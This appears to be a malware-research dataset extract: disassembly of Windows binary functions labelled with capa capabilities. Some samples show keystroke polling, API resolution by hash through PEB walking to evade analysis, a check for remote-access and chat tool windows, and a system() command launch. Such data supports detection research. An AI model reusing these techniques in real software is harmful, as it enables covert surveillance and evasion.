joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140088b00
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 5], 0
je 0x140088b23
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x7c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 4
jb 0x140088b10
mov byte [rcx + 5], 0
mov rax, rcx
ret

Function at 0x140088b30
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x136], 0
je 0x140088b58
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x7c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x135
jb 0x140088b40
mov byte [rcx + 0x136], 0
mov rax, rcx
ret

Function at 0x140088b60
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x44], 0
je 0x140088b83
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x7c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x43
jb 0x140088b70
mov byte [rcx + 0x44], 0
mov rax, rcx
ret

Function at 0x140088b90
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x47], 0
je 0x140088bb3
xor eax, eax
nop dword [rax + rax]
lea edx, [rax - 0x7c]
xor byte [rax + rcx], dl
inc rax
cmp rax, 0x46
jb 0x140088ba0
mov byte [rcx + 0x47], 0
mov rax, rcx
ret
Function at 0x14008c590
Capabilities:
Execute command

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x1400c4080]
xor rax, rsp
mov qword [rsp + 0x80], rax
mov rsi, rcx
mov qword [rsp + 0x78], rcx
mov r8, rcx
lea rdx, str.start_cmd__C__color_b__title_Error__echo
lea rcx, [rsp + 0x58]
call fcn.14001dd40
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x14008c61a
lea rax, [rcx + 0x11]
mov qword [rdi + 0x10], rax
mov rax, rdi
cmp rdx, 0x10
jb 0x14008c5fb
mov rax, qword [rdi]
lea rbx, [rax + rcx]
mov r8d, reloc.WS2_32.dll_recvfrom
lea rdx, str.__timeout__t_5_
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
mov byte [rbx + 0x11], 0
jmp 0x14008c63c
mov qword [rsp + 0x20], reloc.WS2_32.dll_recvfrom
lea r9, str.__timeout__t_5_
xor r8d, r8d
lea edx, [r8 + 0x11]
mov rcx, rdi
call fcn.14001e8f0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rdi + 0x10], 0
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14008c6c8
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008c6c3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008c6c3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140095770
movdqa xmm0, xmmword [0x1400b4830]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rdx, qword [rsp + 0x70]
cmp rdx, 0x10
jb 0x14008c71b
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008c716
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008c716
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140095770
xor ecx, ecx
int 0x29
mov rdx, qword [rsi + 0x18]
cmp rdx, 0x10
jb 0x14008c755
inc rdx
mov rcx, qword [rsi]
cmp rdx, 0x1000
jb 0x14008c750
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14008c78d
mov rcx, r8
call fcn.140095770
mov qword [rsi + 0x10], 0
mov qword [rsi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rsi], 0
mov rcx, qword [rsp + 0x80]
xor rcx, rsp
call fcn.140095750
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x140094de0
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov r8d, dword [rcx + 0x28]
mov rdi, rdx
mov rbx, rcx
cmp r8d, 0x40
jae 0x140094f98
lea ecx, [r8*8]
mov qword [rsp + 0x30], rsi
add qword [rbx], rcx
mov byte [r8 + rbx + 0x2c], 0x80
mov eax, dword [rbx + 0x28]
inc eax
mov dword [rbx + 0x28], eax
cmp eax, 0x38
jbe 0x140094e58
cmp eax, 0x40
jae 0x140094e42
nop word [rax + rax]
mov byte [rax + rbx + 0x2c], 0
mov eax, dword [rbx + 0x28]
inc eax
mov dword [rbx + 0x28], eax
cmp eax, 0x40
jb 0x140094e30
lea rsi, [rbx + 0x2c]
mov rcx, rbx
mov rdx, rsi
call fcn.1400950e0
xor eax, eax
mov dword [rbx + 0x28], eax
jmp 0x140094e60
lea rsi, [rbx + 0x2c]
jae 0x140094e72
nop
mov byte [rax + rbx + 0x2c], 0
mov eax, dword [rbx + 0x28]
inc eax
mov dword [rbx + 0x28], eax
cmp eax, 0x38
jb 0x140094e60
movzx eax, byte [rbx + 7]
mov rdx, rsi
mov byte [rbx + 0x64], al
mov rcx, rbx
movzx eax, byte [rbx + 6]
mov byte [rbx + 0x65], al
movzx eax, byte [rbx + 5]
mov byte [rbx + 0x66], al
movzx eax, byte [rbx + 4]
mov byte [rbx + 0x67], al
movzx eax, byte [rbx + 3]
mov byte [rbx + 0x68], al
movzx eax, byte [rbx + 2]
mov byte [rbx + 0x69], al
movzx eax, byte [rbx + 1]
mov byte [rbx + 0x6a], al
movzx eax, byte [rbx]
mov byte [rbx + 0x6b], al
call fcn.1400950e0
movzx eax, byte [rbx + 0xb]
mov byte [rdi], al
movzx eax, byte [rbx + 0xa]
mov byte [rdi + 1], al
movzx eax, byte [rbx + 9]
mov byte [rdi + 2], al
movzx eax, byte [rbx + 8]
mov byte [rdi + 3], al
movzx eax, byte [rbx + 0xf]
mov byte [rdi + 4], al
movzx eax, byte [rbx + 0xe]
mov byte [rdi + 5], al
movzx eax, byte [rbx + 0xd]
mov byte [rdi + 6], al
movzx eax, byte [rbx + 0xc]
mov byte [rdi + 7], al
movzx eax, byte [rbx + 0x13]
mov byte [rdi + 8], al
movzx eax, byte [rbx + 0x12]
mov byte [rdi + 9], al
movzx eax, byte [rbx + 0x11]
mov byte [rdi + 0xa], al
movzx eax, byte [rbx + 0x10]
mov byte [rdi + 0xb], al
movzx eax, byte [rbx + 0x17]
mov byte [rdi + 0xc], al
movzx eax, byte [rbx + 0x16]
mov byte [rdi + 0xd], al
movzx eax, byte [rbx + 0x15]
mov byte [rdi + 0xe], al
movzx eax, byte [rbx + 0x14]
mov byte [rdi + 0xf], al
movzx eax, byte [rbx + 0x1b]
mov byte [rdi + 0x10], al
movzx eax, byte [rbx + 0x1a]
mov byte [rdi + 0x11], al
movzx eax, byte [rbx + 0x19]
mov byte [rdi + 0x12], al
movzx eax, byte [rbx + 0x18]
mov byte [rdi + 0x13], al
movzx eax, byte [rbx + 0x1f]
mov byte [rdi + 0x14], al
movzx eax, byte [rbx + 0x1e]
mov byte [rdi + 0x15], al
movzx eax, byte [rbx + 0x1d]
mov byte [rdi + 0x16], al
movzx eax, byte [rbx + 0x1c]
mov byte [rdi + 0x17], al
movzx eax, byte [rbx + 0x23]
mov byte [rdi + 0x18], al
movzx eax, byte [rbx + 0x22]
mov byte [rdi + 0x19], al
movzx eax, byte [rbx + 0x21]
mov byte [rdi + 0x1a], al
movzx eax, byte [rbx + 0x20]
mov byte [rdi + 0x1b], al
movzx eax, byte [rbx + 0x27]
mov byte [rdi + 0x1c], al
movzx eax, byte [rbx + 0x26]
mov byte [rdi + 0x1d], al
movzx eax, byte [rbx + 0x25]
mov byte [rdi + 0x1e], al
movzx eax, byte [rbx + 0x24]
mov rsi, qword [rsp + 0x30]
mov byte [rdi + 0x1f], al
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140094fb0
Capabilities:
Hash data using sha256

Disassembly:
xor eax, eax
mov qword [rcx + 0x24], 0x5be0cd19
mov qword [rcx], rax
mov dword [rcx + 8], 0x6a09e667
mov dword [rcx + 0xc], 0xbb67ae85
mov dword [rcx + 0x10], 0x3c6ef372
mov dword [rcx + 0x14], 0xa54ff53a
mov dword [rcx + 0x18], 0x510e527f
mov dword [rcx + 0x1c], 0x9b05688c
mov dword [rcx + 0x20], 0x1f83d9ab
ret
Function at 0x140096704
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14009674e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14009674e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14009674e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14009674e
cmp dword [rcx + 0x84], 0xe
jbe 0x14009674e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140096750
xor al, al
add rsp, 0x28
ret
Function at 0x1800019b4
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
not r8d
mov r9d, 4
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x18016c260]
xor r8d, dword [rax + rdx*4]
sub r9, 1
jne 0x1800019bd
not r8d
mov eax, r8d
ret

Function at 0x1800019e8
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x180001a42
mov r11b, 0x23
lea rdi, [0x18016c260]
movzx ebx, byte [r10]
dec rdx
inc r10
cmp bl, r11b
jne 0x180001a2c
cmp rdx, 2
jb 0x180001a2c
cmp byte [r10], r11b
jne 0x180001a2c
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rbx
shr r9d, 8
xor r9d, dword [rdi + rcx*4]
test rdx, rdx
jne 0x180001a0a
jmp 0x180001a83
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x180001a83
mov r11b, 0x23
lea rdi, [0x18016c260]
cmp dl, r11b
jne 0x180001a67
cmp byte [r10], r11b
jne 0x180001a67
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rdi + rcx*4]
test dl, dl
jne 0x180001a55
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x180001bb8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
test r8, r8
je 0x180001bd8
and qword [r8], 0
lea rdx, [0x18016c010]
call fcn.180001a94
mov rbx, rax
test rax, rax
je 0x180001cbf
mov rcx, rax
call fcn.18010c678
mov ebp, eax
cmp eax, 0xffffffff
je 0x180001cb7
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.18010ca18
test eax, eax
jne 0x180001cb7
mov rcx, rbx
call fcn.18010c678
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x180001cb7
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call fcn.18010ca18
test eax, eax
jne 0x180001cb7
mov rbp, rdi
cmp rdi, 0xffffffffffffffff
je 0x180001cb7
mov rax, qword [0x1801c4360]
test rax, rax
je 0x180001c59
inc dword [rax + 0xec]
mov rcx, rbp
call fcn.180109930
mov rdi, rax
test rax, rax
je 0x180001cb7
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call fcn.18010cd14
mov rcx, rbx
cmp rax, rbp
je 0x180001ca5
call fcn.18010bfb8
mov rax, qword [0x1801c4360]
test rax, rax
je 0x180001c9b
dec dword [rax + 0xec]
mov rcx, rdi
call fcn.180109938
jmp 0x180001cbf
call fcn.18010bfb8
test rsi, rsi
je 0x180001cb2
mov qword [rsi], rbp
mov rax, rdi
jmp 0x180001cc1
mov rcx, rbx
call fcn.18010bfb8
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800229d4
Capabilities:
Log keystrokes via polling

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, qword [0x1801c4360]
mov ecx, reloc.WS2_32.dll_recvfrom
add rbx, 8
movaps xmmword [rsp + 0x20], xmm6
call qword [sym.imp.USER32.dll_GetKeyState]
movss xmm6, dword [0x1801a91cc]
shr eax, 0xf
and al, 1
je 0x180022a09
movaps xmm3, xmm6
jmp 0x180022a0c
xorps xmm3, xmm3
mov r8b, al
mov edx, 0x281
mov rcx, rbx
call fcn.1800015a8
mov ecx, reloc.WS2_32.dll_recv
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
je 0x180022a33
movaps xmm3, xmm6
jmp 0x180022a36
xorps xmm3, xmm3
mov r8b, al
mov edx, 0x282
mov rcx, rbx
call fcn.1800015a8
mov ecx, reloc.WS2_32.dll_select
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
je 0x180022a5d
movaps xmm3, xmm6
jmp 0x180022a60
xorps xmm3, xmm3
mov r8b, al
mov edx, 0x283
mov rcx, rbx
call fcn.1800015a8
mov ecx, 0x5d
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
jne 0x180022a85
xorps xmm6, xmm6
movaps xmm3, xmm6
mov r8b, al
mov edx, 0x284
mov rcx, rbx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
jmp fcn.1800015a8
Function at 0x180027128
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x180027148
xor eax, eax
jmp 0x18002722e
cmp qword [rcx + 0x68], 0
je 0x180027159
call fcn.180027c2c
jmp 0x18002722e
mov rax, qword [rcx + 0x38]
mov rdi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x180027170
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x180027172
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1800271a4
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.180131050
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rdi, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x180027228
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x1800271db
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x180027204
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.18010cd14
add r14, rax
sub rdi, rax
cmp rax, rbx
jne 0x180027228
cmp rdi, rbx
ja 0x1800271e2
test rdi, rdi
je 0x180027228
mov r9, qword [rsi + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call fcn.18010cd14
sub rdi, rax
sub rbp, rdi
mov rax, rbp
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x18002a6b4
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x1801bf780]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea rax, str.AnyDesk
mov qword [rbp - 0x19], rax
lea rbx, [rbp - 0x19]
lea rax, str.TeamViewer
mov qword [rbp - 0x11], rax
lea rax, str.Notepad
mov qword [rbp - 9], rax
lea rax, str.Sem_t
mov qword [rbp - 1], rax
lea rax, str.Bloco_de_Notas
mov qword [rbp + 7], rax
lea rax, str.Spotify_Premium
mov qword [rbp + 0xf], rax
lea rax, str.Spotify
mov qword [rbp + 0x17], rax
lea rax, str.Discord
mov qword [rbp + 0x1f], rax
lea rax, str.Amigos___Discord
mov qword [rbp + 0x27], rax
lea rax, str.MSI_Afterburner
mov qword [rbp + 0x2f], rax
lea rax, str.Eraser
mov qword [rbp + 0x37], rax
mov rdi, qword [rbx]
xor ecx, ecx
mov rdx, rdi
call qword [sym.imp.USER32.dll_FindWindowA]
test rax, rax
jne 0x18002a799
add rbx, 8
lea rax, [rbp + 0x3f]
cmp rbx, rax
jne 0x18002a756
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.180102790
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
lea rdx, str.Fechando_devido
lea rcx, [0x1801c2a90]
call fcn.18002ae5c
mov rdx, rdi
mov rcx, rax
call fcn.18002ae5c
mov rcx, rax
call fcn.18002ae54
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x18002adf0
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rcx
cmp edx, 1
jne 0x18002ae2f
and qword [rsp + 0x28], 0
lea r8, [0x18002a7c8]
and dword [rsp + 0x20], 0
mov r9, rcx
xor ecx, ecx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov al, 1
add rsp, 0x30
pop rbx
ret
Function at 0x18002b924
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rax, qword [0x1801c44b8]
test rax, rax
jne 0x18002b9e0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18002b9bc
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x18002b9bc
mov esi, dword [r9 + 0x20]
dec edx
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov r11d, 0xd0fe341c
mov cl, byte [r10]
inc r10
test cl, cl
je 0x18002b9b8
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x18002b998
cmp r11d, 0x6f361826
je 0x18002b9c1
test edx, edx
jne 0x18002b97b
mov rax, qword [rax]
jmp 0x18002b957
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c44b8], rax
mov rcx, qword [rbx + 8]
call rax
nop
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x18002b9f8
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rax, qword [0x1801c44c0]
mov r11, rcx
test rax, rax
jne 0x18002bab0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18002ba8c
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x18002ba8c
mov esi, dword [r9 + 0x20]
dec edx
mov ebx, 0xd20f7ed0
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x18002ba88
movsx ecx, cl
xor ecx, ebx
imul ebx, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x18002ba6b
cmp ebx, 0x56f24b34
je 0x18002ba91
test edx, edx
jne 0x18002ba4f
mov rax, qword [rax]
jmp 0x18002ba2b
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c44c0], rax
mov rdx, qword [r11 + 0x10]
lea r8, [r11 + 0x20]
mov rcx, qword [r11 + 8]
mov r9d, 0x30
call rax
mov rbx, qword [rsp + 0x30]
test rax, rax
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
Function at 0x18002badc
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rax, qword [0x1801c44c8]
mov rbp, rdx
mov rbx, rcx
test rax, rax
jne 0x18002bba0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18002bb7c
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x18002bb7c
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0x123f89b9
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x18002bb78
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x18002bb58
cmp r11d, 0x67dfaa2d
je 0x18002bb81
test edx, edx
jne 0x18002bb3b
mov rax, qword [rax]
jmp 0x18002bb17
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c44c8], rax
mov r9d, dword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rbx + 0x10]
mov rcx, qword [rbx + 8]
and qword [rsp + 0x20], 0
call rax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
shr eax, 0x1f
xor al, 1
add rsp, 0x30
pop rdi
ret
Function at 0x18003d15c
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x1801bf780]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rax, qword [0x1801c4520]
xor ebp, ebp
mov qword [rsp + 0x28], rcx
mov rbx, rcx
test rax, rax
jne 0x18003d239
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r8, qword [rax + 0x30]
movsxd rcx, dword [r8 + 0x3c]
mov r9d, dword [rcx + r8 + 0x88]
add r9, r8
cmp r9, r8
je 0x18003d215
mov edx, dword [r9 + 0x18]
test edx, edx
je 0x18003d215
mov esi, dword [r9 + 0x20]
dec edx
mov r11d, 0xb14d0980
lea rcx, [rsi + rdx*4]
mov r10d, dword [rcx + r8]
add r10, r8
mov cl, byte [r10]
inc r10
test cl, cl
je 0x18003d211
movsx ecx, cl
xor ecx, r11d
imul r11d, ecx, 0x1000193
mov cl, byte [r10]
inc r10
test cl, cl
jne 0x18003d1f1
cmp r11d, 0xddfe561a
je 0x18003d21a
test edx, edx
jne 0x18003d1d4
mov rax, qword [rax]
jmp 0x18003d1b0
mov ecx, dword [r9 + 0x24]
add rcx, r8
movzx edx, word [rcx + rdx*2]
mov ecx, dword [r9 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov qword [0x1801c4520], rax
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call rax
xorps xmm0, xmm0
lea rax, [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], rbp
or r8, 0xffffffffffffffff
mov qword [rbx + 0x18], rbp
inc r8
cmp word [rax + r8*2], bp
jne 0x18003d25f
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.18002a3ec
mov rax, rbx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180102790
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x180047330
Capabilities:
Get file size
Read file on windows
Read file via mapping

Disassembly:
push rbx
push rbp
sub rsp, 0x48
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
jne 0x18004734c
lea eax, [rcx + 0x28]
add rsp, 0x48
pop rbp
pop rbx
ret
mov qword [rsp + 0x68], rsi
xor r9d, r9d
mov qword [rsp + 0x40], r14
mov edx, 0x80000000
xor r14d, r14d
mov rcx, rbp
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x1800473a0
mov r14, qword [rsp + 0x40]
lea eax, [rsi + 2]
mov rsi, qword [rsp + 0x68]
add rsp, 0x48
pop rbp
pop rbx
ret
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rdi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800474c5
mov rax, qword [rsp + 0x70]
cmp rax, 0x7fffffff
jg 0x1800474c5
test rax, rax
je 0x1800474c5
xor r9d, r9d
mov qword [rsp + 0x28], r14
xor edx, edx
mov dword [rsp + 0x20], r14d
mov rcx, rsi
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov rdi, rax
test rax, rax
je 0x1800474c5
mov ecx, dword [rsp + 0x70]
xor r9d, r9d
mov dword [rbx + 8], ecx
xor r8d, r8d
mov rcx, rax
mov dword [rbx + 0xc], r14d
mov qword [rsp + 0x20], r14
lea edx, [r9 + 4]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rcx, rdi
mov qword [rbx], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [rbx], r14
je 0x18004743a
lea rax, [0x180047520]
jmp 0x180047493
mov rcx, qword [rbx + 0x30]
xor edx, edx
movsxd r8, dword [rbx + 8]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rbx], rax
test rax, rax
je 0x1800474c5
mov edi, r14d
nop dword [rax + rax]
mov r8d, dword [rbx + 8]
lea r9, [rsp + 0x60]
mov edx, edi
sub r8d, edi
add rdx, qword [rbx]
mov rcx, rsi
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800474b3
add edi, dword [rsp + 0x60]
cmp edi, dword [rbx + 8]
jne 0x180047460
lea rax, [0x1800474f0]
mov rcx, rsi
mov qword [rbx + 0x28], rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbx]
mov qword [rbx + 0x10], rax
xor eax, eax
mov qword [rbx + 0x18], rbp
mov qword [rbx + 0x20], r14
jmp 0x1800474da
mov rcx, qword [rbx + 0x30]
xor edx, edx
mov r8, qword [rbx]
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x51
mov qword [rbx], r14
mov qword [rbx + 8], r14
mov rdi, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x40]
